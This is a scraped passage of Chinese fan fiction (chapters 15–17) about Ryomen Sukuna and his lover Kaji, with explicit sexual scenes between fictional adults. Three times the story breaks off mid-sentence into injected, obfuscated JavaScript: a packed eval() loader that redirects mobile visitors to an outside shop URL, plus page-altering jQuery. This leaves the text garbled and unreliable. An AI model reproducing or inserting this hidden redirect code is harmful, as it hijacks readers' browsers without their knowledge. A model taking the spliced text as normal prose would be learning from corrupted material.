“……你没必要哭,我又不会杀你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两面宿傩发出喟叹的声音,没有开始动作,而是享受着那温暖的包容。 无论多少次,花纪还是会因为这份不匹配而难耐地拧紧好看的眉毛,娇艳的嘴唇微微翕动,隐约能窥探里面可爱的舌尖。 “……别说话了。”花纪呼吸有些紊乱,“让我先适应一下。” 两面宿傩知道花纪的习惯,不过他今天心情不好,故意装作没有听见,恶劣地大幅动作了下,引得黑发美人忍不住抽气。 两面宿傩要拉着花纪一起沉沦欲海,要怪就怪花纪,把他变成这副离不开肉骨头的模样。 两面宿傩只觉得自己的身体太过迷恋对方,才会露出种种外人无法想象的痴态,暴露于黑发美人的面前,完全不听他这个主人的使唤。 大概是情难自抑,也或许是花纪此时听不清他的话语,两面宿傩用无法分辨的情感说道:“……我恨你。” 恨花纪把他变成了这副模样,以至于他无法离开对方,露出他以前根本不该有的丑态。 更让两面宿傩恨的是,无法克制露出这副模样讨好花纪的自己。 因为花纪喜欢其他人为他堕落,而两面宿傩只能恼怒地去满足他。 两面宿傩看着自己像一只任凭主人怎么抛弃、却还会摇着尾巴回到主人身边的狗,偏偏还试图逗主人发笑。 两面宿傩声音沙哑,视线自始至终都落在花纪的身上,“是你毁了我。” 15.第 15 章 黑发的美人餍足地依偎在两面宿傩生有黑纹的精壮胸膛上,即使裸露在外的肌肤只有一小部分,也能从上面遗留的痕迹推测出昨晚是何等的状况。 花纪本来在闭眼小憩,却因为两面宿傩不老实的手不得不睁开眼睛,美眸含嗔地瞪了两面宿傩一眼。 “你折腾得我还不够吗?” 两面宿傩笑了,用饱含磁性的声线戏谑道:“才这种程度就受不了了,真是娇气。” 虽然这么说,两面宿傩的手也不动了,而是搂着花纪纤细的腰身,将他紧紧地束缚在自己的怀中。 花纪无视了两面宿傩的调笑,只是别开头避开了两面宿傩犹如实质的视线,干脆把脸埋在两面宿傩块垒分明的腹肌上方。 “这就不高兴了?” 面对花纪回避的举动,两面宿傩倒没多生气,只是受用地享受着花纪的贴近。 两面宿傩经过长年累月锻炼的腹肌清晰地感受到黑发美人清浅的吐息,花纪不回答他,两面宿傩忍不住想要恶作剧一番。 “呜……” 搅动的水声啧啧作响,由于口齿被外人占据,花纪无法说话,只能吐出细碎的呜咽声。 卡着花纪接受的上限,两面宿傩才恋恋不舍地收回了自己的另一张嘴。 花纪呼吸不稳地靠在两面宿傩身上,由于刚刚被对方的大手牢牢按住,花纪想挣脱都挣脱不开,只能被迫贴在两面宿傩的腹肌上,被那里不该有的嘴巴玩弄着柔软的唇舌。 花纪忍不住用微微红肿的姣好双唇开口说话:“笑什么笑,有两张嘴巴就那么了不起吗?” 花纪难得表现出怒意,只是他的这份愤怒,在两面宿傩眼里只有打情骂俏般的可爱。 两面宿傩故意说道:“有两张嘴就是了不起,比那些人类强,可以用两张嘴亲得你上气不接下气。” 他暧昧地用指节宽大的手掌抚摸着花纪如今平坦的小腹,里面满溢的东西如今已经消失不见,是因为两面宿傩一大早就被花纪催着结束了工作。 两面宿傩一手摸着花纪的肚子,一手将花纪额前的碎发别在耳后,还有一双手轻松抱着花纪,四只手的优势在此时此刻展现得淋漓尽致。 他继续追问:“那些人能像我一样让你这么满足吗?” 花纪别过脸去,故意不去看他,只用好看的侧脸对着两面宿傩,嘟囔了一句:“变态。” 在花纪见过的人类之中,两面宿傩的变态程度也算是排行前列的了。 两面宿傩抬了抬眉毛,“那被变态喜欢着的你算什么?” “就算被变态喜欢,我也没有错。” 花纪转过头来,抬眸不满地望着两面宿傩,不客气地说道:“宿傩是差劲的男人,我都这么累了还要打扰我,一点也不体贴伴侣。” 或许是伴侣这个词取悦到了两面宿傩,他弯起唇角,终于安分了下来,让花纪继续赖床了一段时间。 * 光阴不会在花纪身上留下丝毫痕迹,衰老远离了他,时间眷顾着他,仿佛他的时间定格在绽放的最美的瞬间。 与此形成对比的,则是两面宿傩和里梅。 两面宿傩依旧年轻力盛,哪怕以人类的寿命来看,死亡也离他遥遥无期。可他并不知足,还想要更多。 两面宿傩无法容忍被花纪遗忘,他那么爱他,那么迷恋他,花纪怎么能忘记他? 如果不能一直抓住花纪,那么花纪迟早有一天会忘记的。倘若他一直沉浸在花纪那些甜言蜜语之中,才是最愚蠢的。 因为花纪是为爱而爱的存在,而爱着的对象究竟是谁,这其实并不重要。 两面宿傩已经摸透了花纪的部分本质,如果花纪知道,也只会赞同他。 和人类为了生存而生存没有区别,哪怕生存的质量低下,也不想轻易死去。 “想不到您也会在意如何延长寿命这种问题。” 羂索面带微笑,神色恭敬,说出的话语看似好奇,却又带着无形的刺。 两面宿傩瞥了他一眼,懒得和羂索多说一个字,“废话少说。” 羂索表情不变,一点也不因为两面宿傩的态度生气,将自己获得的情报娓娓道来。 “……综上来看,只有成为诅咒的方式对于咒术师来说最为保险。不过若是您想要人类的肉|体,我也可以为您研究,只是还需要一定的时间才能得出成果。” 两面宿傩嗯了一声,看不出来信还是没信。羂索也不在意,他只是想距离心心念念的大人更近一点。 当然,不是指两面宿傩。虽然两面宿傩是他优秀的合作伙伴,但羂索更想靠近让他的人生中第一次品尝到爱情滋味的那位大人。 也是因此,羂索需要花费大力气才能压下无时无刻不在心中翻涌冒泡的妒意,克制对两面宿傩的敌意,免得为此破坏计划。 因为那位大人在他的梦中传递了真意。 “比起御三家的人,还是你更好用啊,羂索。” 虽然是把他当作工具称赞的微妙话语,可羂索一点也不介意,还因为这份重视感到了无上的喜悦。 没错,这枯燥乏味的人生,是因为这道声音主人的存在,才被赋予了新的意义。如今对方肯定了他的存在,这是前所未有的认可,羂索为此由衷感到光荣。 “大人,既然您不喜欢两面宿傩,我愿意为您破坏他的计划。” 花纪疑惑地回答:“可是我没有不喜欢宿傩啊。” 羂索一时语塞,花纪自顾自的说话:“我不是不能理解宿傩的想法,人类的生命太过短暂,想要更长久地留存于世间是很正常的想法。” 花纪当然很懂,他见过太多抱有这种想法的人。 想到这里,花纪忍不住笑出了声。 见到羂索露出疑惑的眼神,花纪好心解释:“虽然宿傩对于自己是否是人类的认知有些微妙,但骨子里还是人类嘛。” 看在羂索好用的份上,花纪不介意多说一点。 “就算我现在和宿傩有一点不愉快,但恋人之间有分歧也很正常吧。哪怕是打算分手,也不代表分手了之后一点感情也没有啊。” 花纪眉眼柔和,笑容是说不出的温柔。 “我才不会和不爱的人在一起呢,我是真的很爱宿傩,只是宿傩有自己的性格,我也不能强迫爱人为了我磨平所有的棱角,只能不得不分手了。哪怕分手了,我也希望宿傩能过上幸福的生活。” 既然两面宿傩不能自愿磨合,花纪强求不了,那么大家就和平分开,给彼此一个体面。没法和平分手,那就只能借助其他手段了。 “所以啊,羂索,不许破坏宿傩的计划,要好好完成他的心愿。” 羂索痴痴注视着花纪的面庞,魂不守舍地点头应下花纪的要求,嫉妒着两面宿傩的好运,可他又不能违背自己的神明。 如果无法完成花纪的要求,就会被彻底厌弃,而羂索不想迎来这种结局,不想被神明抛弃。 直到花纪离开他的梦境,羂索一时之间依旧不肯从梦中醒来面对现实。 追求的神明到底是怎样的存在呢?至少羂索对花纪的认知不仅不逊于两面宿傩,甚至更加深入。 从人类身上竟然也会诞生如此美丽的事物,或许这也算是人类的奇迹之一。 比起那些不堪入目的咒灵,花纪是与众不同的存在。 羂索还想看到更多,亲眼见证神明羽化的那一刻,成为神明最忠实的信徒。 哪怕在这个过程中用自己的灵魂作为燃料也没关系,羂索愿意献上一切。 ……所以他绝对不允许有人要阻碍神明的意志,哪怕那个人是赫赫有名的诅咒之王。 * 最近宿傩大人和花纪大人的感情似乎恢复了许多,里梅发自内心感到高兴。 太好了,他这个下属终于不用左右为难了!更不用夹在中间里外不是人了! 虽然里梅的表情管理一向到位,但这么久了,花纪早就摸清了他,因此笑语盈盈的开口。 “怎么,里梅,就这么高兴我和宿傩不再闹别扭吗?” 里梅控制好脸部的肌肉,才没出现更大的破绽,“因为您笑得很高兴,宿傩大人的心情也很好。” “那里梅是更喜欢我还是更喜欢宿傩呢?”花纪眨了眨眼,故意问出了一个为难的问题。 “如果我要和宿傩离婚,里梅是跟我还是跟宿傩呢?” 花纪自认只是提前问出以后要遇到的问题,里梅却心头一紧,不敢大意。 这问题简直跟问是更喜欢父亲还是更喜欢母亲一样要命,里梅头皮一阵发麻,这分明是一道送命题! 里梅视两面宿傩为无可代替的太阳,那么与之相对,花纪就是他心目中皎皎的月亮。 但不意味着两者可以画上等号,若问哪一个更重要,那自然是—— 花纪出言打断了里梅的思考,温柔地说道:“好了,里梅选宿傩我会很高兴的,这样宿傩一个人就不会太孤单了,还是里梅陪着他更好。” 里梅张口欲言,却又不知道怎么辩驳。 “……您不会和宿傩大人离婚的。” 里梅看在眼里,比起那些外人的恐惧,花纪从来都不害怕宿傩大人,生气的时候也会直接和宿傩大人闹脾气。 敏锐如宿傩大人,怎么可能看不出来花纪对他有没有感情呢?如果没有的话,就不会走到如今无法放手的地步。 这么爱着花纪大人的宿傩大人,是不可能与花纪大人分离的。 里梅适时的在心中加上敬语,尽量摒弃对花纪多余的感情,那是绝对不允许的。 花纪决定不再出言打破里梅美好的希冀,并在心中感叹。 [唉,如果宿傩能和我和平分手就好了,这样也不至于闹得太难看。] 虽然盖提亚理解两面宿傩的心理,但是祂不介意顺着王后来,[是他不分轻重,不过这次六眼会来吗?] [会的。]花纪肯定道:[他会为了我来的,哪怕是要牺牲自己的一切。] 黑发的美人垂下长长的眼睫,紫眸多情似水,笑意自眉眼间静静流淌,与周围的景致形成了一幅珍贵的画卷。 里梅不由得看入了迷,差点忘记了呼吸。 [因为我对他说,要是不亲自来救我,我就会永远不要他了。] 花纪笑得真心实意,[一个为了爱情入了魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611627|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的男人,还能想多余的事吗?] 盖提亚:[……至少为了你,六眼确实会陷入疯魔。] 因为王后就是如此魔性的存在,从人类中的欲求中诞生,被赋予了专精于此的特质。 哪怕祂不是人类,也深深地为王后着迷。 * 离开平安京后,两面宿傩总算没有再遇到那些咒术师来打扰他们了。 从前两面宿傩会找乐趣打发时间,要么是烹饪喜爱的食材,要么是抒发战斗欲,总归不会固定在一处。 但现在不一样了,两面宿傩已经不想无缘无故离开现在的“家”。 因为离家太远,宝物会被觊觎的人偷走,而两面宿傩除非必要,否则他不想减少握住宝物的时间。 两面宿傩从未想过,只是看着一个人竟然也能获得满足,躁动的心因此平静,枯燥不翼而飞。 “总是看着我不会腻吗?” 花纪好奇问道,他并不排斥黏在自己身上的视线,不会觉得享受,但也不会讨厌,只是视作日常而接受。 不过两面宿傩无时无刻的注视,还有并不完全屈就他的性格,让花纪有些纳闷。如果没那么爱他,为什么不让他离开呢?如果真的爱他,又为什么不实现他的全部心愿呢? 两面宿傩言简意赅:“不会。” 但他说不出来花纪那些甜言蜜语,沉默片刻后,两面宿傩皱了皱眉,“为什么问这个?” 花纪不假思索:“因为你一直在看我啊。” 两面宿傩挑了挑眉,了然道:“要个理由。” 于是两面宿傩竟也开始认真思索,虽然外表粗犷英武,但不代表他缺乏细腻的一面。 可两面宿傩说到嘴边的,却只有一句话:“……没注意到的时候就习惯了。” 花纪不满地用修长的手指戳了戳两面宿傩结实有料的胸膛,富有弹性的胸肌也因此可观的凹陷进去,“敷衍,我在认真问你呢,宿傩。” 两面宿傩有些不情愿的开口:“真要说?” “不然呢。” “……因为你长得好看。”两面宿傩面不改色。 “好吧。”花纪看起来是接受了这个答案。 其实不只是这些,这只是最不值一提的一点,更多的两面宿傩没有说出口而已。 花纪有着美丽的外表,炙热的爱意,性格易于相处。至少在两人的相处中,花纪始终乐意扮演一个善解人意的妻子的角色。 但两面宿傩也没有忘记,这是一朵扎根于鲜血与尸骸上的花。 然而那又怎样? 两面宿傩迷恋于花纪的危险,那副外表下潜藏的恶意也是那么吸引人,就算把他扎的遍体鳞伤,他也能爱上花纪给予的这份痛苦。 两面宿傩知道花纪从来不是一个“好妻子”,可他也不是因此才喜欢对方。不如说真正让他着迷的,是花纪云淡风轻地玩弄猎物时的模样。 而且花纪的那些话,也不是骗他的,至少那就是花纪能给的爱。只是他贪心,还想要更多。 但两面宿傩对着花纪说不出这么肉麻的话,那双梦幻的眼睛只要一望着他,两面宿傩就开不了口。 ……至少,两面宿傩不想让自己输得太难看。 花纪得到了答案,也就不再纠缠两面宿傩,继续试着冰雕,冰块还是里梅提供的。 两面宿傩看着他熟练的动作,“你以前学过?” 这是两面宿傩第一次见花纪冰雕。 花纪手上的动作稍稍放慢,沉思后给出答案:“「我」以前不能出去走动的时候,有试着雕刻东西打发时间。” 花纪很少提及自己的过去,两面宿傩也是难得听到。 “……你以前的追求者?” 想到这个可能性,两面宿傩脸色陡然一沉。 花纪有些无语,不得不继续解释:“是「父亲」,你在想什么呢?” 两面宿傩总算舒展了原本拧紧的眉毛,新奇道:“你竟然也有父亲?我以为你和那些咒灵一样。” 至少没有传统的父母存在。 “说是我也不太正确,就像人的前世今生也不能算是完全相同的一个人吧?那么前世的父母能算自己的父母吗?唔,算是很复杂的命题呢。” 花纪对此已经有了了然于心的答案,但没有和两面宿傩深入说明的必要。 “是很无聊的故事,听了也不觉得有趣。” 花纪嘴角噙着笑意,“而且宿傩你都没有告诉过我你的过去,要让我告诉你,这未免太不公平了吧。” 两面宿傩无声地凝视着花纪,半晌才讥诮道:“因为你根本就不打算知道啊。” 花纪既不打算告诉他自己的过去,也不打算向他询问他的过去。 可他却没办法不在意花纪的过去,不过就算追问,也不会得出什么结果。 两面宿傩低低地笑着,不知是在笑对方还是笑自己,“你真的知道什么是爱吗?” 你知道什么是爱吗? 即使被这么问,花纪还是像往常一样眉眼含笑,也正是因为太过美丽,看起来反而不像人类,更像另一种遥不可及的存在。 “这很重要吗?” 16.第 16 章 无声的爆炸在两面宿傩的脑中炸开,轰然爆发的情绪太过浓烈,以至于两面宿傩笑得越发大声了。 “哈哈……是啊,这不重要。” 花纪是真的不懂,还是故意装作不懂呢? 如果爱是什么并不重要,那么他呢?他对花纪而言算是什么?一条经过驯养但没那么听话的狗吗? 那些对他表现出的喜爱,不过是花纪出于生存本能而做出的选择吗?就像动物在面对危险的时候,会下意识遵从铭刻在血脉中传承的本能吗? 两面宿傩无法笃定答案,或许这样正好,真相摇摆不定,他的理智才能勉强不踏过某个界限。 “宿傩?” 黑发的美人望过来时的视线,是两面宿傩再熟悉不过的眼神。 ……又是这种眼神,不自知的疑惑却又夹杂着天真的信赖,从头到尾都不理解他的情绪为什么波动那么大,好像他才是那个难以理解的人。 “我说错了什么话吗?” 花纪用指甲修剪得圆润整齐的食指轻轻点唇,紫眸中闪烁着不解,让这张艳丽到让人神醉心迷的面庞看起来竟然有些纯真,两种矛盾的特质奇异地在他身上共存,萦绕出足以令心脏失控的妖异气质。 然而对两面宿傩而言,前提是这话没有火上浇油。 两面宿傩猛地直起身子,拳头攥得紧紧,指甲嵌入皮肤,他的牙关咬得咯咯作响,一言不发地径直离开这狭小到令人窒息的屋子。 再留下来就要失控了。 石砖瓦砾轰隆隆的倒塌声吸引了里梅的注意,里梅赶过来时,看到的是两面宿傩肆意破坏建筑的场景。 不对,用肆意形容还不够恰当。里梅对比两面宿傩平日在外时闹出的动静,得出宿傩大人还是有收手迹象的结论。 毕竟要是不小心破坏了结界,到头来还是要宿傩大人收拾残局,免得花纪大人的安全出了岔子。 ……怎么有种宿傩大人结婚前为所欲为,结婚后才有所收敛的诡异既视感呢? 不过现在宿傩大人眉眼间阴沉到像是被人夺走了妻子一样可怕,肯定是又与花纪大人闹矛盾了。 里梅欲言又止,宿傩大人正在气头上,除非花纪大人出马,不然他说什么也不管用。 算了,他还是准备收拾宿傩大人闹出来的残局吧。 * “还在生气吗?宿傩。” 两面宿傩早就听到了背后的脚步声,还有那比脚步声还要先一步嗅到的扑鼻香气。只是他没有回头,背对着花纪,仿佛事先没有察觉这一切似的。 “你难道看不出来吗?” 两面宿傩开口便是呛人的话,语气是说不出的讽意。他现在浑身长满了刺,碰一下就得挨他的唇枪舌剑。 花纪为难地蹙了蹙眉心,不过哪怕两面宿傩故意不看他,他倒是一点也不生气,耐心地与两面宿傩交谈。 “抱歉,宿傩,是我说了让你生气的话。” 花纪柔和的声音带着真诚的歉意,不假思索地吐露心里话。 “我只是觉得,知不知道什么是真正的爱并不重要。至少对我来说,我在努力给予宿傩我能给出的全部的爱……要是宿傩认为我没有爱你,我会伤心的。” 说到后面,花纪的声音带上了几分哀戚。旁听的人只是听着,就能想象出美人眼中含泪的模样。 两面宿傩终于忍不住转身,等他意识到身体不听话地做出什么行动后,有那么一瞬间僵在了原地。 ……不,这不是服输。只是他多年来的条件反射而已,不是他想要那么做,只是身体不听大脑的命令,而不是他下达了指令。 都怪这不好使的身体。 两面宿傩大脑转得极快,只是眨眼的时间,就理清了转身回头的原因。但很快他就无暇顾及这些,而是瞳孔骤缩,以常人无法看清的速度闪身上前,倏地来到了花纪的身前。 黑发美人美眸泛着泪光,长长的睫毛如同被雨水打湿的花瓣,眼尾绯红。可怜的模样足以让目击的罪魁祸首好好反省,如果其他人见了,也会狠狠斥责导致他落泪的犯人。 花纪不觉得在他人面前落泪有何不妥,更不会羞耻,这完全是和呼吸一样自然的行为。既然感到伤心,那么酸涩的情绪顺着泪水一同流淌,这与情绪好的时候会露出微笑是一样的。 “难道宿傩以为我是虚情假意的人吗?认为我的爱意一点也不真实,根本不配被称作「爱」吗?” 花纪说到这里,在眼眶中打转的泪珠终于掉了下来,在光线的折射下,如同闪闪发光的钻石,珍贵到两面宿傩毫不犹豫地伸手捧住花纪的脸颊,掌心出现一张嘴,伸出长长的舌头将这些眼泪全部舔了个干净。 两面宿傩无法忍受这些眼泪掉到地上,被贪婪的大地吸收,或者被嗅着香味跑来的其他野兽舔舐。他如同饥饿的婴儿吮吸母亲意外淌出的乳汁,一滴不落地全部送入口中。 但花纪连串的问句将两面宿傩打了个措手不及,分明一开始气急败坏的是他,导致这一切的元凶是花纪。可现在眼泪婆娑、仿佛被负心汉辜负的人成了花纪,他则是那个不懂珍惜的恶人。 ……这还有没有天理了? 还有,他真的不是被耍了吗? 两面宿傩觉得不对劲,可四目直视黑发美人哀愁美颜的面庞,对上那双盈着悲伤的美眸,两面宿傩不禁认真反思了起来。 他或许确实有点过分了。追问一个并非人类的存在,向其索要人类之爱,这和强人所难又有什么区别? 两面宿傩又蓦地卡壳了一下,他不是一向喜欢强人所难吗?什么时候这还要成为他承认自己错误的点了? ……别计较这个了,反正先在花纪面前承认错误就是了。 好在两面宿傩的口才向来没有问题,只是过去他除了故意耍弄人的时候会用,平时一贯不屑和那些弱者多话,现在倒是发挥了作用。 “你当然不是虚情假意的人,我从来没有见过比你的爱火还要耀眼夺目、让我着迷的人。” 两面宿傩不屑于在这方面撒谎。早在最初,他就被花纪那似乎要将一切都燃尽的爱火深深地吸引了,比太阳的光芒还要强烈,炽热到足以让人自愿跳入火中充当薪柴,成为黑发美人的养分。 两面宿傩双手拥着花纪,另两只手则托起黑发美人的脸,用亲吻的方式将残留的眼泪舔舐干净。不知不觉中,花纪流出的眼泪早就所剩无几,余下的只有两面宿傩接连不断的吻。 两面宿傩之所以得到这个名字,正是由于他两面四臂的形象。面对花纪时,两面宿傩总是恨不得全部展示出来,用这异于常人的肢体尽情地触摸对方,多出的肢体刚好可以多一份触觉,更充足地占有贪恋不已的珍宝。 “花纪,要我说多少遍都没关系——我已经迷上你了。” 花纪被两面宿傩像小狗一样舔着,终于忍不住破涕为笑,微微眯起眼睛享受着两面宿傩的依恋。 “你又把我的脸弄脏了。” 两面宿傩假装没听见花纪的抱怨,如果这是“弄脏”,反正他已经不知道多少次弄脏对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627219|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方了。这种留下自己气味、接近动物的表达方式,深得两面宿傩喜欢,总是乐此不疲地在花纪身上实施。 两面宿傩作势要堵住那娇艳的唇瓣,却被花纪抬手打断,嘴唇触碰到的是白皙娇嫩的掌心,两面宿傩也不生气,而是伸出舌头,暧昧地在那掌心上耸动。 “再这样耽误下去,我就要拿不稳要送给你的礼物了。” 花纪左手捧着礼物,右手被两面宿傩占着,敏感的掌心受不了这股奇妙的触感,传来的痒意让他想要抽回手掌,却被两面宿傩眼疾手快地握住了手腕。 “什么礼物?” 两面宿傩声音喑哑,眼睛看似懒散地瞥向花纪的左手,视线却有股说不出的锐利。 他一早就注意到了花纪手上拿着的东西,但之前没有心思细想,现在有了充裕的时间,也就更仔细地打量了起来。 “是我送你的玫瑰,只要我在,它就永不腐败。” 防止冰块融化的术式,就算不用系统帮忙,花纪也会这些。雕刻完里梅提供的冰块后,他就接着做好了加工。 黑发的美人弯起眼睛,由于刚刚的亲吻,紫眸潋滟,泛着水光,有股惊人的媚态。然而原本白净的脸颊却有着水渍,两面宿傩知道,这是他刚刚那放肆的唇舌留下来的。 这一切看得让两面宿傩喉结来回滚动,难耐的饥渴不仅让他的胃部不断叫嚣,更让他的欲望因为充血而难忍。 “玫瑰?” 两面宿傩的声音已经染上了情欲,注视着花纪的眼神如同猎人在注视猎物,随时都会打开枪袋扣下扳机,享受猎物带来的餍足。 花纪想了想,日本现在没有玫瑰,更多的是樱花、梅花等花卉,于是解释道:“这是我家乡的花,因为这里没有,所以送给你我雕刻的玫瑰。” “所以这是送给我的花?” 两面宿傩垂眸端详着花纪手心上静静绽放的玫瑰——这是冰做成的,因此只有冷意和坚硬的触感。虽然美丽无比,剔透纯洁,与众不同,但还是和那些寻常的花朵不同。 没有淡淡的香气,也没有柔软的触感,更没有多彩的颜色。 “我收下了。” 两面宿傩拿起玫瑰,看起来意外的不赖,他喜欢这份与众不同。 这是第一次有人送他花。 “不过我还想再要一份礼物。” 两面宿傩舔了舔唇角,视线饱含侵略性地注视着花纪。只是一个眼神,花纪就知道他在想什么。 “不是刚刚还想和我保持距离吗?” 出于小小的私心,花纪特意指出两面宿傩之前装作没看到他的举动。 “是我错了。” 两面宿傩的喉结又是一动,呼吸粗重了一些,靠近花纪的耳边,贴着精巧的耳廓说道:“现在我想和你拉近距离。” 灵活的长舌模拟着某种行为,侵占着花纪紧邻的耳朵,两面宿傩暗示:“比世上任何一个人都近的距离。” 盖提亚忍不住了。 [我的距离要比他近多了!] 这家伙不过是王后的情人之一,还敢大言不惭,祂可是最贴近王后的人,依附着王后的灵魂。 祂只是看不下去两面宿傩如此不严谨的发言,贴心地在王后面前指正罢了! 花纪因为两面宿傩的亲吻而眼尾泛红,如同被滋润的花苗,随时准备舒展着美丽的躯体。 [嗯,他们都不如你我的距离近。] ——真可爱。 无论是系统还是两面宿傩,都可爱极了。 17.第 17 章 花纪长长的乌发如同海藻般散落在背后,衬得肌肤愈发白皙。他微微仰起头,胸前的发丝被两面宿傩拨开,露出被遮掩的异色,两面宿傩不客气地低头,采撷送入口中。另一只手掌心的唇舌也没闲着,两边都没落下。 “哈……宿傩。” 柔软的呜咽声婉转动人,不仅没有让两面宿傩心生怜惜,反而成为催化火势的大风,将两面宿傩恶劣的破坏欲燃得更盛。 两面宿傩毫不在意头发被花纪紧紧抓住,那点力道又不能做什么。就算花纪把他的头皮扯下来,他也能面不改色地继续攻占城池。 仿佛过电般的感觉窜过身体,花纪眸光水润,美艳的脸庞染上绮丽的绯色,呼吸时微张的唇瓣隐约露出舌尖,发出细碎的声音。 两面宿傩余光瞥见,便毫不犹豫地顺势吮吸花纪的舌尖,粗暴地吻了下去,像是恨不得把能掠夺的全都吞入肚子,水声啧啧作响,将他的强势一览无遗,亲得花纪身体瘫软,全靠两面宿傩拥着才不至于彻底仰倒在床上。 两面宿傩痴迷地注视着黑发美人染上欲色的面孔,像是恶狗舔珍爱的肉骨头一样舔着花纪。任谁见了两面宿傩这副模样,都难以和大名鼎鼎的诅咒之王联系到一起。 但事实就是如此,两面宿傩现在是黑发美人的俘虏。 花纪手感极佳的白玉色肌肤上已经绽放了数朵梅花,还有混杂着的咬痕。但从齿印来看,以两面宿傩的牙口,他明显是有所收敛。 “身体这么柔弱,没有我保护你该怎么办。” 两面宿傩粗糙的手掌在花纪细腻的肌肤上流连,仅仅是这样,就能给花纪娇嫩的身体带来战栗的感觉。 黑发美人睨了两面宿傩一眼,就算被快|感侵扰,露出不受控制的媚态,也依旧坦然。他不觉得羞耻,反而大大方方地享受这股感觉。 “我可不缺保护者。” 花纪因为亲吻而饱满殷红的唇瓣吐出意味深长的话语,“所以宿傩要好好完成职责啊。” 两面宿傩不爱听这话,他不喜欢花纪想除了他以外的人,更不喜欢花纪寻求其他猎物。他英武的眉毛一拧,便伸出手指,探入熟悉的小路,突袭的行为惹得黑发美人闷哼一声。 “你是我的。” 两面宿傩恶狠狠地说道,无论说多少遍,他都要宣示自己的主权。 花纪笑了,精致的眉眼带着说不出的韵味,“你才是我的。” 是他不听话的小狗,好用却会割伤自己的刀刃。 而他是属于他自己的,不属于任何人。 刀刃终于找到了属于自己的刀鞘,伴随着入鞘的那一刻,彼此紧密地贴合在一起。 两面宿傩颀长健硕的身体笼罩在黑发美人的身上,让对方的视野范围内只能看到他。像是为了证明他们之间确实存在某种隐秘的情感,两面宿傩每一次都恨不得将自己嵌入对方柔软的身体,充盈这道美丽的身姿,连着灵魂都沾染他的存在。 “我是谁?”两面宿傩又一次重复了这个问题。 “……宿傩。” 花纪缓了一会才给出回答。可是在他没有回应的这段时间里,两面宿傩眉头绷得很紧,充斥着野性的眼睛在他叫对名字后才微微收敛。 “你要看着我。” 两面宿傩嗓音低沉沙哑,用不容置疑的口吻强调道。 “必须一直看着我。” 两面宿傩盯着黑发美人失神的潋滟紫眸,如同被光线照射的紫宝石,闪耀着炫目的光辉。 花纪从余韵中找回理智,一手抚摸上因为异物而鼓起的小腹,轻笑道:“你在命令我吗?宿傩。” 两面宿傩默然不语,只是猩红的眸子不改危险的本质,似乎花纪只要说错一句话,他就要用自己的方式来惩罚他。 “你知道的。” 花纪露出了甜蜜诱人的笑容,眼眸柔情似水,“因为我爱你,这种事不需要命令我,我也会一直看着你。” 花纪轻揉小腹,吟声挑拨着两面宿傩的理性,花纪的玉手间接抚摸着他身体的一部分,身体和心灵的双重刺激,一下子让两面宿傩眼睛赤红,咬紧了后槽牙。 “现在轮到你向我证明你的爱了,宿傩。” 两面宿傩摇摇欲坠的理性彻底崩塌了。 他本来就不是隐忍的性格,耐心也有限。还喜欢通过彼此身心契合的方式来占有恋人,更别提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635682|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花纪还故意撩拨他。 在这种情况下还能忍住的,就不是男人了。 黑发美人魔魅的笑容如同诱惑人心的妖怪,没有多少人能在他展露这一面时维持原本的理性。 “我当然能证明。” 两面宿傩搂着花纪,将人按在自己的腰胯上。 “把我的爱全都给你,你要全部接住了。” 花纪则是评价:“哈……我要的才不是这个,脏死了,好撑。” 两面宿傩嗤笑,“反正这些也被你‘吃掉’了。” 两面宿傩充满恶意道:“脏又怎么样?我偏要给你,不许嫌弃。” 他才不会弄到外面浪费掉。 花纪的事后清理一直由两面宿傩负责,两面宿傩可不会把这种事交给其他人,因此他再清楚不过花纪异于人类的地方,那些他留下的东西不需要弄出来,就已经被花纪完全吸收掉了。 也因此两面宿傩一度怀疑过花纪其实是吸食人类精气的妖怪。 “你没有常识吗?”花纪蹙起好看的细眉,“我只是通过体|液交换补充魔力,不想浪费才会那样。” 血液、唾液以及■■的交换都是魔术师补充魔力的方式。花纪自认只是为了不浪费而进行的资源利用,结果到了两面宿傩口中,描述方式这么奇怪,好像他不是为了魔力不浪费而这么做似的。 “……我可不记得咒术师有这种常识,不,妖怪也没有。” 两面宿傩仔细回忆了一下,若有所思道:“不过确实,之后我的咒力有所补充。” 只是他那个时候将这当作花纪的特殊体质,因此把人看得更紧了。怎么现在到了花纪口中,这反而成了常识? 寻思过后,两面宿傩有点怒了,动作也没轻没重的,惹得花纪在他的后背留下更多的抓痕。 “你还有多少瞒着我的?” 